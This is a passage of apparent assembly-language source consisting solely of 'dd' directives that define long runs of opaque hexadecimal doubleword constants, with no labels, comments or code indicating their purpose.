44117D21h, 55614A98h dd 6C8D7FC8h, 5ED9D7FDh, 0CF4D3533h, 0C8FB66F9h, 6AD7CCF3h dd 0EFCCC341h, 53145F67h, 3ABC7E94h, 9C292336h, 0DE6EAAF4h dd 992580F7h, 0D534AFE0h, 259D7626h, 58BF4FD6h, 0D33C968Fh dd 72037378h, 6617AA7Ah, 4690FBD4h, 4C984959h, 9FD372B2h dd 89703355h, 43CABC64h, 60D87BAh, 155702DFh, 483F4C65h dd 8BA14BC3h, 0AF942BF3h, 615D5351h, 4ED66AF8h, 175A8976h dd 0BE30FCC8h, 0B40F302Ah, 836DA5BBh, 45685CC0h, 2FD4D2B4h dd 82EEE4B9h, 0F83E2335h, 7434428Bh, 0F662B41Fh, 97D50C28h dd 0E88DD397h, 0F7E22383h, 745079F2h, 0B0CE2455h, 93927673h dd 86E65275h, 0C897FB1Fh, 0F9F683DFh, 0BC1EF457h, 0FAA07E20h dd 0CB8752ADh, 47CFEE21h, 2E1C0175h, 3D50322Dh, 522646Dh dd 0DF35E606h, 3A5511C9h, 0AD81C24Dh, 1F565150h, 34D7AD3Ah dd 3055E06Bh, 0A2C7D4B4h, 6AFEF4B7h, 1027D3EFh, 0DD5F60F8h dd 2026F3E0h, 16732FDh, 0F3D4DBA5h, 0C23EBF37h, 4FEF55C0h dd 0DA3C67DAh, 58B8C775h, 0B407DC09h, 0D47B6711h, 0C71D2E89h dd 9BDEC8AEh, 0AD2E4B3Dh, 6059BCFDh, 0D285B8EBh, 7463D9D9h dd 46B1FB1Dh, 12C0DD08h, 41B9C8F1h, 5A8E94D0h, 19594EB4h dd 98BB4DB7h, 55EDCD76h, 0AA7662F8h, 0FECD138Bh, 0FD65FE82h dd 32A686B4h, 149B6BE7h, 0ACB37F2Dh, 222BEE3Eh, 0B754708Dh dd 374DA8FCh, 8D0D5918h, 0F89EBC21h, 0DB7ED5BBh, 0D8254114h dd 6BFAEE89h, 1F9DF0C9h, 87DA6871h, 0AC3ECD84h, 0B786252Eh dd 0FDEF4D74h, 0BF8BA7CEh, 7759112Fh, 0F6544697h, 0AAA577Ah dd 3D1C7D58h, 0AADCA82Dh, 0A048025Dh, 96274868h, 0B4C9981Ah dd 5E14A0A0h, 4834FCE6h, 5F8F3CF6h, 0FA629B62h, 3439218Dh dd 1E064726h, 25CB9C8Eh, 9A9314A9h, 0AAE1FAF5h, 52CF2FF4h dd 47C4647Dh, 2E4E47A6h, 44BFE2F3h, 0D12A160Bh, 333BD74Eh dd 94CAFC22h, 257EDCB8h, 82D0B9D5h, 0D7340656h, 872263B1h dd 5C2A7C2h, 0BC39B68Eh, 7C1F37D7h, 0D59DDCB0h, 9BBC3C21h dd 9E8753B8h, 66170EA3h, 0A45A72D7h, 0AA192FD6h, 5C919B5Ah dd 4708C7D4h, 45FD4657h, 0AF5DFF2Bh, 69EB115Fh, 463EC2F5h dd 27880537h, 5DDD5DA0h, 0D4A1E229h, 0E2FAA5BCh, 26F3604Ch dd 0FE2F1496h, 0B3D6CC89h, 75FAD17Fh, 4C581819h, 5FC29AF5h dd 0BE9D3AD1h, 61A8FD73h, 3DF8E5D4h, 0BA137EC1h, 62E328EDh dd 0E6E11C0Fh, 1F8541CEh, 50E9F8CCh, 0E4E47626h, 6FB0FD6Eh dd 7DB21E96h, 0C475D8D0h, 0AF285D14h, 0A3D1255Dh, 52CE708Dh dd 51F65832h, 0CBF0CDE2h, 2AD5D4EEh, 90123197h, 12DE01B7h dd 1B3656Ch, 1A2673F0h, 8D549E36h, 7DEA3E7Ah, 91B1DDF0h dd 8701869Ah, 8B5075E9h, 575ACEF6h, 1CC4B47Fh, 5D4C94h dd 66426DF6h, 762A7E78h, 0AA569579h, 1CC4BDF6h, 70768F5Eh dd 4549A1F1h, 32EDA1B5h, 0DEF4DDC2h, 0D05A017Ah, 13227AE9h dd 0D3AF0443h, 5100764Ah, 0C6DD4374h, 0AAF27B15h, 5F595E91h dd 0A3B595C9h, 67579B66h, 0CC32ADC6h, 0C1724E98h, 12AB299Ah dd 896B1AD2h, 788A6469h, 920B4EA2h, 2DCDAB11h, 1614605Dh dd 0FA972675h, 76D1124Ah, 0D12330A5h, 43D543D6h, 0AB1E72B5h dd 0A85DBCF3h, 0A97C8A2h, 962C9FDAh, 24C0865Ch, 0C260E29Bh dd 8D666343h, 1E3A92EDh, 0F6BE46E4h, 0F6B0ABC5h, 0D8FFEC57h dd 73F3701Ch, 0CAA34BAAh, 5204BEF2h, 0A5F91E57h, 4B7E998Eh dd 0A115F545h, 1A5ABCCAh, 0AB6A97F9h, 696527AAh, 45089287h dd 0C4C5B86Bh, 932AB435h, 0F136EF75h, 764EB87Ah, 0D4B4E95Ch dd 0E15DBB78h, 51B06876h, 455EFEEDh, 0CD5D3EE9h, 6F732461h dd 0BA9911DCh, 236CB8DFh, 44EF4CF6h, 63F3F877h, 0C8C0838Bh dd 3F77D19Ch, 1FFDB659h, 6F5E030Dh, 4D12A84Ah, 0E1FF1713h dd 0FB6FEF36h, 133F0ACCh, 0AE59AB47h, 0DFB9F436h, 0B7A78974h dd 68227C77h, 491FC770h, 6CFD7C58h, 4E9B61D5h, 352668DEh dd 8129A998h, 0B887F1FEh, 7DAC4F71h, 0FA0C2A2Dh, 5778F6DFh dd 0E0AD7AB0h, 0D5572DC9h, 6D0DE467h, 0CF3F078Bh, 7A424BE1h dd 0FCAB7825h, 0E3DAA7F8h, 0D80F958Bh, 91265C00h, 0F96EEE07h dd 0F861BF6Ah, 42CFB6F2h, 0AA567CD5h, 0A090A087h, 82DB25DEh dd 172C818Eh, 5ECE94C1h, 0B685E726h, 0DB1683AFh, 937700C1h dd 0B0F6A7C7h, 0FCEB93A9h, 0A24DB232h, 0B1F9386Fh, 222489C4h dd 0EA1FD414h, 0BA683E70h, 5B2290E2h, 0E9A4D1D6h, 0BE1AEA09h dd 0B4D5748h, 91562044h, 5F934E02h, 30D1ECCh, 25776926h dd 0F70F6D1Ah, 4BEF074Dh, 5386F720h, 72FD075Fh, 0C765A433h dd 88B316Ch, 0E251081Dh, 126FBDD2h, 0B52EC2DCh, 902B7A6Fh dd 37D01F87h, 0A2E71C1Ah, 9BD557Ah, 1E7DC350h, 0C6646A8Fh dd 0EED7597Ch, 13CF0DD6h, 1E1CDBB2h, 0C2BA8A18h, 36956695h dd 30FCAA97h, 290E612Ah, 0B9D630D0h, 0D144395Fh, 5C557A60h dd 2630D8D8h, 0F7A84BBDh, 3C2A9380h, 6BE4CA70h, 6224F48Eh dd 0AFB73B1h, 0FDDD9D18h, 12AA1113h, 67719985h, 795BC1E6h dd 0B8D00C75h, 0D92C8CBCh, 0D136577Bh, 281488A8h, 3B0C7005h dd 0DB95EE3h, 95E7EDDFh, 3839434Fh, 3FB61155h, 7AB547D3h dd 5830F8F8h, 0B3DC96B8h, 0E2C16528h, 4AC722A0h, 29E054B8h dd 553B8B4Bh, 0AD8DF221h, 0D95E477Eh, 25F3B156h, 6A9B69BAh dd 0BE8D6A2Ah, 0E3EDDEE3h, 779FD77Dh, 0ABDE4E56h, 25E31AAAh dd 52AB0C7Fh, 0E0788459h, 67B612D6h, 2A99DABDh, 0FEB93CAAh dd 255E9C81h, 8F0959F9h, 714FB2D6h, 9E789F8Eh, 0F33171D4h dd 84C92E6Ch, 0EF731B5Ah, 12DE4ACCh, 0B84C8827h, 0DFE5A39Eh dd 94FDD5F6h, 3B3E556Bh, 0E06A4E31h, 1F4ED0E7h, 0B6EBEEAEh dd 54515AC4h, 0B0CA785Dh, 2BAC748Fh, 4F0A835Dh, 33F1D31Ch dd 0C568921Ah, 848675EBh, 0E1F8CEAFh, 8174FE5Bh, 0F9A8A82Dh dd 0D85E05B2h, 0B2F4BD37h, 0DA17EE6h, 0C01D6A51h, 0AFADC515h dd 56657196h, 0F1EF0480h, 61421FC0h, 1E9E957Ch, 30AFCFEh dd 0ED995D46h, 0C3950C9Ah, 0EDA5C5CFh, 0A7E99D69h, 1F5854D5h dd 576CFCB8h, 42AB491Dh, 1A31D4AEh, 0E77026E9h, 0BCDF35AFh dd 0E0FA3F6Ch, 322B3DFEh, 3EC9A1CDh, 771B7C2Dh, 0AB9D2E24h dd 438305B4h, 280585A8h, 6E43B6CFh, 1DE215D3h, 54F6F015h dd 0CA69BF94h, 631AEFEBh, 32ECDEA5h, 67594A5Bh, 0AF07BD6Eh dd 2222F544h, 0FB9E4C52h, 14D23DCBh, 25064BC0h, 0EFE4C65Dh dd 3FE0CB81h, 6B0E773Eh, 3CEA36F7h, 17FBAA58h, 3749C3EDh dd 0FDD4BD98h, 2FD560CCh, 9DB93A94h, 7775B54Bh, 0AF9AB443h dd 84E38D2h, 6B4AA66Ah, 77D59B1h, 1A9C556Dh, 0A0B9F69Fh dd 3C4C42DFh, 0DF837B9Ah, 2D7BF739h, 6B0DECEAh, 55671853h dd 0B881E626h, 75305DD1h, 6CB04B70h, 0D6176462h, 607DD15h dd 0EBCDDD99h, 83EDEF3Eh dd 0DD5E73C0h, 526DB9F0h, 0AFE3E4A4h, 73C5CCB0h, 6326A5A6h dd 2B747E03h, 9B037496h, 7E8BAFA6h, 73A9CEB0h, 0C814AFC0h dd 866DE4BEh, 5A2515E5h, 7F3633E0h, 3B5D38B6h, 5A045E17h dd 7BFFA135h, 708AAD65h, 313CF2A7h, 0BC3DBFF6h, 0C909A5ABh dd 149FC67Eh, 0D495D30Ch, 7E226EC9h, 0BA9E7BD7h, 0FAA91BCAh dd 22504BFDh, 0F77A2AE3h, 0CC723C5Fh, 87B4A9B8h, 0F25AEAFFh dd 1187691Fh, 0CDCE37DAh, 0ED7AA9C8h, 36F6F3F1h, 0AF83E8C7h dd 0B3AC79C4h, 9AC2C281h, 65E3B714h, 7A14DA06h, 0DF005BDBh dd 878A3E0Eh, 0ECBBA49Eh, 5D6D45ABh, 8D602859h, 0C94F550Dh dd 0B1AA7B5Fh, 0F83C9E88h, 10FFABFAh, 0FADE88E0h, 0E52E695Bh dd 0EB507BA6h, 0A4F2E6C9h, 5213FC0Eh, 8AFCBD93h, 64CEEF5Fh dd 17D8EED0h, 0D7A7C51h, 739ED2D6h, 52BA80D9h, 564D818h dd 0AD000093h, 2087932Ah, 1B442875h, 0FD9FE06Ah, 82DB5723h dd 6F5FDA80h, 80BB03F7h, 36FF73ACh, 4E7E7AFBh, 5FE1BD1Ah dd 0FEC13B38h, 3068B423h, 0B4CCC3F1h, 7EA9F288h, 9BAD4FA0h dd 0FE7B9B96h, 0ED7BFB34h, 0AA18288Eh, 86D4B254h, 4E49DF6Ah dd 1AB3B8DAh, 0FD99365Ah, 15C8CBD3h, 0CE112B6Fh, 447866E8h dd 3D1F6BA7h, 4B86D0FCh, 5A52A6DBh, 0D37CD9F3h, 985A7553h dd 924D7F6Bh, 47D72745h, 0EE1F5576h, 0F18D7D51h, 84865AE3h dd 0C2F53A92h, 50B4441Ch, 7E3D5BD7h, 14A46D76h, 439743E8h dd 1C1E7266h, 0DE5A6BFAh, 5EC53C75h, 3316960Bh, 0EE5D2A6Eh dd 9689EAF4h, 4E125BDAh, 0A128D35h, 55C6CBAh, 26A70FB7h dd 0AADB5CA6h, 982BC8C8h, 0B14443F3h, 0B320046Bh, 0C16EEA6Ch dd 2736615Fh, 0EEB5141Fh, 0FF59D387h, 0DB863892h, 139FB0D4h dd 38EC2FB4h, 7BD13D57h, 993B6787h, 0FD4B3C82h, 76E84223h dd 790DFB94h, 0DD274E57h, 0E6995A3Bh, 0C85F22E9h, 0FF5B6759h dd 0B51FB43Dh, 6722D632h, 63917992h, 2FF2D6DDh, 715FACC6h dd 0AAA2995h, 0B50E4F76h, 79EB4F93h, 0E7237546h, 5832544Eh dd 75B0720Eh, 0EE5CE02Bh, 77A883A2h, 0F949A71h, 0C8B0CEDDh dd 581072F2h, 0C0F9150Fh, 94535D8Dh, 0AC6E7BDAh, 5134FB52h dd 780D1E1Dh, 0AF153C9Ah, 0E64C0770h, 0D1825955h, 0EF15FAF6h dd 310F76CBh, 50F6AE6h, 0BA08F76Fh, 72A4C6EBh, 7485DD1Fh dd 7C682131h, 449CFA9Ah, 0FDBFE09Fh, 9BA0604Dh, 4EDD5E4Ch dd 0A6476ECBh, 74F41C34h, 0F3ABFB3h, 0FCC7B05Ch, 0ACD4D363h dd 37B0C174h, 0C1971575h, 52AA15F1h, 6AF5E911h, 0F5AB5A67h dd 619D54C5h, 76D8FEA6h, 0A2D6A9CEh, 0ED1494AFh, 0F64722C7h dd 0F6013EE7h, 0C3C1EA81h, 68BAA2DFh, 8A1ECC17h, 0C86464E2h dd 0D5E84CC2h, 2A4289FBh, 2866DA95h, 21B9AE00h, 0DBFA0540h dd 1A9DA0BEh, 2B3A81F1h, 993CDD3Ch, 0A8D28956h, 0A00460B2h dd 3F988B53h, 2E5DEE42h, 61B562FFh, 93BDC0A4h, 1E88C6C3h dd 0A5B57402h, 1EAE1E37h, 2D7BEABCh, 0DC028E67h, 254A847Ah dd 8741B79Bh, 5308D165h, 14D6332Fh, 0AC543070h, 0D3234457h dd 0B373F652h, 56FF1B43h, 0CD8B5C3Ah, 6362277Fh, 0BC667B0Fh dd 4A4A3895h, 34404975h, 630E17A0h, 4048C0C0h, 0E7E4091h dd 2FC8DCC3h, 21DD6BE2h, 11ADFEECh, 76FFC6E9h, 8C56F7FDh dd 0C26F1BC9h, 5EE53EECh, 8A016F69h, 5A22B2BBh, 17296552h dd 0F6671B51h, 12F948C0h, 5C5E3C9Ah, 0AE9398Bh, 0FCD7BCA7h dd 9E19B0D6h, 453A51D4h, 326F2B9Bh, 50F06E6Ah, 0D674AC4Bh dd 9FBE962Dh, 0C0555566h, 1F44ADB3h, 25B4E9DDh, 492F61CCh dd 0AEEFF570h, 3C971CEh, 0CD8EBD87h, 670A6D97h, 0A7F5B444h dd 0FBD03553h, 0D68E6511h, 0FFB0CC7Eh, 73EB5971h, 0BC9CD57h dd 73B649B6h, 3344367Dh, 34B496AEh, 497D0BE5h, 32142925h dd 168ECD2Eh, 34FC0FAAh, 4FADD7A8h, 5899FA15h, 35E8C942h dd 2928B8ADh, 5A97C1D2h, 6282DE88h, 0D4843698h, 17134696h dd 6D59F5C6h, 0F11786DAh, 2362D843h, 36E8C56Fh, 0AB09B4CBh dd 9705EE07h, 6CA0E8E0h, 3C491662h, 0F83D1CC6h, 0D01A6B0Fh dd 0C83AA5F2h, 0AAAEF3AEh, 5896BDC7h, 0EFC5E943h, 68F54330h dd 3BA5FAA3h, 0A9D6D4BAh, 0E5C5E145h, 9449BBE1h, 5B9F2789h dd 1BBDD7C2h, 26BD0A6Ah, 65DA3506h, 0A155945h, 83B4D473h dd 0E7B432B7h, 2BFC6256h, 8C5A8EFBh, 0EC07A9B5h, 49A53150h dd 65A699D4h, 0BD397D97h, 9335ED4Fh, 0D95581ACh, 74627649h dd 0BEF7C73Eh, 0AB5ADB8Eh, 6EFC1BB9h, 0C1E33DFAh, 2B7D42BDh dd 21252E50h, 5A836408h, 0DAB139D0h, 649BEBDAh, 0DF72EDB8h dd 940DFB9Dh, 55DCBECAh, 4F08D574h, 0A6DE0833h, 7F0A8255h dd 0F8325307h, 2DC079E7h, 3D9115A3h, 26423976h, 0ACD235F0h dd 0C199BABCh, 9DF3B40Ah, 8D2A563h, 1EA7E294h, 5D4EE81Dh dd 9B66A55Dh, 0D2073DD6h, 952E5CDAh, 0D03C5001h, 0A6F3B2F4h dd 7BA386BEh, 3453C789h, 0D0E04AEAh, 0F689FDF4h, 303378B9h dd 46999917h, 59496B4Ch, 0AC917FACh, 9140DC2Eh, 0BCB84EADh dd 0B6DAFB5Bh, 3427B52Fh, 0FFC80EADh, 8CFE68D4h, 0ED69A27Eh dd 61A6307Bh, 0B6C2C7A9h, 0CA3C5686h, 9E207BD7h, 0A41A5A30h dd 66B962E2h, 0A0E91CD2h, 0D346C522h, 0ED7BD375h, 6B3CB07Ch dd 0F04CAA9h, 5F72D50Ch, 0A439F61Eh, 266EF6BBh, 0CD979574h dd 99A17DA0h, 827BC9E6h, 0A9EC04D2h, 0A4C9D175h, 0CC4EF20Eh dd 0FAB524AAh, 3505145Dh, 630EC09Ah, 0FDE4B093h, 7ED9327Bh dd 0BFE5B060h, 467ECA0Ch, 9FDBC1F3h, 5505FD03h, 3F29CD3Fh dd 3A7E0C5Dh, 3E509E07h, 9335A275h, 8D9DE57Dh, 96B9A0C5h dd 0FA36AD7Dh, 0CC0F2DBEh, 7CFADF50h, 2DFDFA21h, 0A2613591h dd 56565CE5h, 0A97A983Ah, 34ED36D5h, 0AF8FAE8Ch, 0D5A5C531h dd 85F93381h, 1C36C7A7h, 0C141161Bh, 7065D65Fh, 6A75B7FDh dd 1FFDFE04h, 71F09757h, 81451A91h, 7EDEB045h, 84ACD240h dd 84500510h, 13FB3643h, 7E0B7D1Ah, 8BA47B48h, 0CE63C6AAh dd 0C6FCF258h, 6C252AB1h, 64825F56h, 0B8B721ADh, 580A1A8Dh dd 0DD513D3h, 55766F85h, 13E84913h, 0EE0C198Bh, 36B1D2BAh dd 5EAD25B4h, 0DB11D680h, 2EF9B371h, 4B7737F9h, 81143C52h dd 0F5115D58h, 0B2C9772Eh, 0F74A9DCDh, 0CA49DA34h, 0F1F7FF39h dd 5EF8D6B1h, 79AA8FB7h, 0D1695532h, 762E8D42h, 0CE1DE662h dd 1BDC42EEh, 54779264h, 82FBEB21h, 8D36FB98h, 79E5E5ADh dd 965E66D1h, 97A4BE9Bh, 12646227h, 7154BBE5h, 47426A47h dd 94635FD8h, 5F1BD8Fh, 1337AA04h, 29575499h, 0F9C8EC4Ch dd 18F664E1h, 0E5AE4467h, 0A60E4824h, 1E1DE7AAh, 931B8B8h dd 0F384F70h, 93234E77h, 0A09DBB60h, 228F3C53h, 475FCABBh dd 0DF1ABE92h, 9215E0F1h, 0C38CD79Eh, 3BD3159Eh, 90B746E9h dd 0DB9C62D1h, 19A2AB6Fh, 0C4FBEA40h, 0B761D7DFh, 58CD00B0h dd 51757EFAh, 0AD7F2339h, 0D5C02597h, 103F455Dh, 0FC33FA29h dd 191E1489h, 0F31D86BAh, 0B2658F19h, 0D7AE511Dh, 0EBBC3BDFh dd 0C35097F3h, 391167ABh, 0B3E60D05h, 93504A9Fh, 97E4FE2Ch dd 75E7D38Bh, 8A2C5F34h, 0E06BCCBAh, 0F05AFEC1h, 31C183FBh dd 623FD18Ch, 274EC0D1h, 356EDD75h, 3423CE62h, 0FF5B7E16h dd 0B2FF03EEh, 0CFA2F6D9h, 0E1F7381Dh, 0DFF7E0FAh, 205621F8h dd 5DD13DCBh, 4E440999h, 0EC9729D7h, 0C9753F03h, 6CDEBF55h dd 0A44A365h, 6F75DBDDh, 92CD3416h, 0F860A6B6h, 59F2856h dd 0C94EE1F9h, 39FDCEF3h dd 13607667h, 7DE88826h, 60DAC952h, 0D9B2C3E7h, 0D6B3D5D6h dd 6A42FA61h, 5C9344DDh, 0CCAA058Fh, 0B0E5A659h, 4E29D496h dd 0DCC01BDAh, 0CDA30846h, 0D07350ABh, 9FBE7936h, 8485D453h dd 7DD6964Fh, 0ED7DF3E3h, 9CC521E6h, 980D1AF8h, 0EEF3D48Ah dd 8DE8F814h, 0C35AE02Bh, 0A04C4EFBh, 207B5308h, 0F646D4EBh dd 7089E0CCh, 47BCE6B9h, 65B3E729h, 0A3D5F176h, 8BA85C90h dd 0B15E5A19h, 0F83ADA26h, 3C12F745h, 0C347DFDh, 751B57D8h dd 920F0922h, 636A0B5Fh, 73BEE355h, 0D3A89B3Ch, 5BADCCCEh dd 4696073Fh, 4CCEBDFAh, 63E870B3h, 0F7D50F66h, 20DB924Bh dd 1E0C7948h, 44DD2CF8h, 65E76723h, 3854BD12h, 95FA28AAh dd 0B5318ED9h, 143BD384h, 0A4A1859Fh, 2FEC51CAh, 0E63668B3h dd 0C5556348h, 3F5467D2h, 0D0737EFDh, 54B92F84h, 40C5F188h dd 2EEC85B1h, 313049ADh, 205E9AD2h, 0CD58A95Ah, 24B148AFh dd 7F56505Bh, 9DA22BF1h, 38956F29h, 2AC0BBBDh, 0CBFABF95h dd 0A0E3A332h, 6977C65Bh, 0A8CBBD15h, 0E81E3877h, 0D987A96Ch dd 76D6A70Fh, 67BEE1A2h, 896FFBB4h, 5D95C9A3h, 0F76E02FFh dd 1F1F756Bh, 0E77A39F5h, 1E166D4Fh, 3356A8B8h, 95404B0Bh dd 0FE2B42DFh, 0E8DBBDEEh, 0C4B01A2Ah, 1D856CEAh, 27723F6Fh dd 82707E37h, 0C5DC4D68h, 518DF939h, 7BA96E23h, 7CE79D73h dd 0F68B4A2Ch, 39ADF99h, 0AE76DB14h, 92192A64h, 162AFF53h dd 0EC55487Fh, 5A302AE4h, 834EF040h, 0DFAEEBEDh, 0A1BAB788h dd 87BE572Ch, 580C680Bh, 0D9040F94h, 5984685Dh, 730981BDh dd 4948CCDDh, 6E455E4Ah, 0C19FB99Dh, 5EF0BD43h, 7E8C2AAAh dd 0C7921066h, 5E580F1Ah, 97643FCFh, 932B96FDh, 0F5650C3Ch dd 951CD539h, 0B138AB61h, 76F467BEh, 3BED8321h, 774B40B1h dd 55A682EEh, 5C1D76Dh, 0E5B35853h, 1BB3E7B8h, 1DFF6FE9h dd 7CBD968Bh, 66A72FCDh, 923714B8h, 0EE8126CBh, 0F15BDE87h dd 0BD4AC7F7h, 0B356AD8Fh, 63A1516Dh, 0F441A94Dh, 0AFB6F85Ch dd 9D68467Ch, 2B27A471h, 0F69DD5Eh, 8DEC497Dh, 354B02E7h dd 0ABA60E96h, 0A144D7EAh, 91FC6EC0h, 0D48A3557h, 7DD175CEh dd 4E4EAD5Bh, 0D60982E6h, 0BA1FBAB4h, 0CF84D905h, 0FB048CDBh dd 0A2561ED5h, 543028A0h, 3EFBE928h, 0B96927F4h, 8CE34F4Dh dd 93CFF304h, 0E079FF1Dh, 64988DADh, 0D34C3DF8h, 16D88973h dd 0DB834707h, 0FC72124Bh, 0CEBD49CBh, 4FF3963Dh, 0AA35588Fh dd 6261D40Ah, 0CC626E1Eh, 0ACF681FAh, 73E17407h, 0E663CB54h dd 0FFB18481h, 37720FADh, 0D2E63E0Dh, 2CA4A768h, 0DAAECAACh dd 6EDAFADAh, 0CC89DF94h, 0B4686C67h, 2EFD2DFBh, 0E1A94EA9h dd 0EFF7EDA5h, 81F9DB24h, 3885C7FBh, 11D5E329h, 76535599h dd 0B7979004h, 0B5750CCEh, 5AD125DEh, 1959EFDh, 0E3F2AF4h dd 875304E8h, 0CA64C97Ah, 0F03C3CBEh, 0FA13C663h, 0FA6B08CCh dd 0AA7EE76Dh, 0BB8CA8CBh, 0A7E20C3Fh, 25B58D7Eh, 417088DAh dd 3B4B1BB4h, 15E34452h, 0CBAF39CEh, 0DFE22132h, 6C8A61ABh dd 88675DB6h, 0D41636A0h, 0D5BE7EC7h, 90CA46A5h, 0D5C34AAFh dd 0CFE56127h, 1FE84091h, 0E37511A6h, 4CC212F5h, 3336FABh dd 68D05DEEh, 425F52A3h, 0BA5E2DF5h, 0F773AE21h, 156ECC0Ah dd 0E54F3548h, 0B007D673h, 6ECAA844h, 0E42BB08Dh, 4A0D18E8h dd 9381B8C2h, 0AA60D7Ch, 1BE1D103h, 0C3D973D1h, 0F228622Fh dd 0A795FEB5h, 9DC8EFA0h, 0DA36C519h, 1774F44Ah, 0D828732Fh dd 0AB50B48Bh, 76E1FBACh, 87918D8Ch, 4FE7835Eh, 4ECDEC09h dd 0A3E1A666h, 49C16F75h, 57986929h, 78AE59E9h, 0EF75067Ah dd 8DF38011h, 684D393Dh, 0CC49B934h, 0D5EB6D0Ch, 845DC921h dd 5046E51Ch, 607F2878h, 0F6C17CA8h, 5DD71989h, 4BFAD430h dd 280E598Fh, 88A84B3Bh, 2DC507CDh, 8768F725h, 0DA623411h dd 0B1A75B72h, 0F839699Ch, 3ED7FBBFh, 86DD86C9h, 40F908D4h dd 0ED144CBFh, 14C44EB0h, 6AC6C7A0h, 4D46BA8Bh, 0CF13F69Eh dd 0B0D956E4h, 7724FD52h, 6D1C40C3h, 3A4B067h, 0C3FBE7F6h dd 1E38D79Fh, 0C1DDF171h, 167C3D59h, 0D1A96167h, 0D1CFDD4Fh dd 83CEC78Ch, 15B5B5DBh, 0A4935521h, 14D5D648h, 32DC2B2Bh dd 0D90C7A16h, 2ABF8EDEh, 4FDCDF8Ah, 6AF5D6D5h, 8948307Ch dd 5E9BA558h, 9F81FAF8h, 39D89E5Ah, 785E56Eh, 510928CFh dd 9923076Ah, 0F59A3D75h, 282D12F9h, 0A9591447h, 799C17BBh dd 3FCAE9A8h, 0FB1EB610h, 1D8D8593h, 92AEDA4Ch, 20964990h dd 0B3EEA0E9h, 0F46B8854h, 0FB0FB5AAh, 0BAAC062Ah, 0BBE7155Fh dd 0C2F6CBA1h, 8766959h, 3BC3CB2Ch, 0CF2E337Dh, 5030370Eh dd 0B13771EBh, 68E158ECh, 0D8CFD1ECh, 0A589922Bh, 0D5A54DDDh dd 0A4D465E5h, 0A0AB816Bh, 0AB25D4E2h, 2FDC31CAh, 7125DAA1h dd 8E96D8F1h, 0FB77D4A1h, 8575BA7Ch, 0BAA16B35h, 43EA1C0Ch dd 633144B4h, 5BDBCD28h, 6E8FB358h, 0BF55AC74h, 74D1095Dh dd 8FE25AD1h, 34C063B2h, 5B16CD0Dh, 47E1894Bh, 0BDD16F79h dd 0C7B67ED7h, 5C697B34h, 1C87A014h, 112FD0FCh, 0E742E2A4h dd 353A96D7h, 75067DB4h, 0AFBA8E8Dh, 0BC14A6CCh, 0A42590A9h dd 6BD98A52h, 76409BE1h, 0E2B54615h, 8E834A57h, 0A587BDD4h dd 0EBAB5FCCh, 9F8DB162h, 5B47ACE8h, 0E00C670Ah, 5E16882Fh dd 0FDFE240h, 0BA6B5D2Eh, 547B8D26h, 49E5F1E9h, 2A5DB0B5h dd 1CFEF8C3h, 5629DA69h, 2DFCDA5Dh, 34DF0A3Dh, 6A4AADFCh dd 47F51CC3h, 64B16164h, 4FC202AAh, 3FCAF5A5h, 5BE9968Ch dd 83C31EFAh, 0A90F0D43h, 4D5C8DABh, 0D53A3FDFh, 5AA13F03h dd 0EF36BB21h, 0F77C017Dh, 889C66F8h, 1C52AB56h, 4EF2AF63h dd 0F8D1F003h, 0B124EB68h, 79501DFEh, 5A828849h, 8C68A292h dd 99ECDA46h, 0EAE621F8h, 5117A97Fh, 0D68B7FBEh, 0EC027EB2h dd 8A11AE75h, 90667869h, 0B3980F7Ah, 869994D4h, 17E81ECDh dd 6882419Bh, 39D0153Bh, 0C7620304h, 0B4EF9217h, 0E7C09C4Eh dd 0C5741968h, 0DEC7BD2h, 0AE6F2B5Eh, 8D505F72h, 43DF6D87h dd 3C252049h, 0CA1F070h, 0EFD8B799h, 0FE3A6575h, 4E19DA2Fh dd 0C1783421h, 576CA7B9h, 16D2C5FFh, 7DF82F82h, 456774F2h dd 6A04317Dh, 4B012A97h, 3655EB97h, 0A10A13D4h, 76AFBD2Bh dd 136DFF2Fh, 2B52A349h, 449D575Bh, 0CEAB961Ch, 0E33D5C0Eh dd 0E2D76162h, 2AA356EDh, 0FC987197h, 0B944E924h, 868E7E37h dd 0B116652Dh, 17CD4311h, 0FBBE8C0Fh, 0C94AB1DEh, 4252FD6Dh dd 9898A4BDh, 8F06696Bh, 7C8F5E07h, 6286D9FFh, 57A74F69h dd 0BCD39344h, 1C5FF791h, 0D5A3B791h, 0DED4B9A9h, 507E4BA3h dd 0AF9715C6h, 0F387FDA7h, 0EBD7FF7Ah, 25CD79C3h, 37E62EFAh dd 55D495B2h, 0E2495DF1h, 0F09D1E4Eh, 0F3BC9ED4h, 5D14FAF5h dd 3C6762E5h, 1536507Eh, 9BBB2551h, 2F2F49EFh, 0B0C7EC83h dd 0E5594A6h, 56B43717h, 3CFED61Fh, 79AE623Ch, 7F1CE8DAh dd 1B7B5A09h, 8BF1BFDAh, 0F3BC1C8h, 4721B618h, 0F1EC7052h dd 0AEC26D39h, 4541AB4Eh, 0CB89ED3Dh, 0BB54D12h, 6A4629AAh dd 400EA227h, 0F115F539h, 0D21BE9BDh, 3872B0D6h, 5D2B156Dh dd 0A69FEEA4h, 0FA47B726h, 0BA8B0E12h, 89CE9A28h, 22730E64h dd 0A13D5F4Ah, 0BB25306Ah, 0AAE1332Ah, 2BFDBA43h, 5CBFA845h dd 80CD492Dh, 0A665A2BBh, 6825E9DBh, 0BB65A8B3h, 3BDCA2B1h dd 0F59A7B45h, 52D61E12h, 0DF29DE44h, 19C8D092h, 2AEFBCADh dd 9D23F656h, 2FC3418Dh dd 76F7AF8Ch, 2B70E3C1h, 0E97477CEh, 81F17163h, 5DE8B021h dd 7EBE432Fh, 0CA34697Fh, 0C2ECA76Ah, 0BAA1FCD1h, 0B94D9DA7h dd 7A9D19A2h, 75A5BB1Ah, 2BF2A3D7h, 11263E69h, 0C3F18C9Bh dd 5D9D71F0h, 8E824B92h, 734B5C54h, 69705537h, 4AE7450Bh dd 373C80B6h, 0AA3E11D8h, 0FB72F364h, 961721CCh, 459AEEA4h dd 2BB957B7h, 4955746Ah, 3624DD8Ah, 7A68FEF5h, 3BB0C2C8h dd 8A2BADB0h, 0C24575C7h, 7E9CA9D9h, 3CF6ABDFh, 0A5000C9Ch dd 766F7F3Ch, 4B1D118Dh, 8D536BA3h, 0D3BD140Ah, 6E8EBA79h dd 0EC9D3DB4h, 0F8D555E2h, 91EE20B0h, 2665194Eh, 0AC5C9DDEh dd 0CE73F97Bh, 9ED78E14h, 0CEF57127h, 55AE4BFCh, 1F8AF2D2h dd 45E7769Ah, 967B91CCh, 0ADB9023h, 0B8B7B5CAh, 0A4448365h dd 0BC525C12h, 7DB20E7Ch, 0ADD34C1Eh, 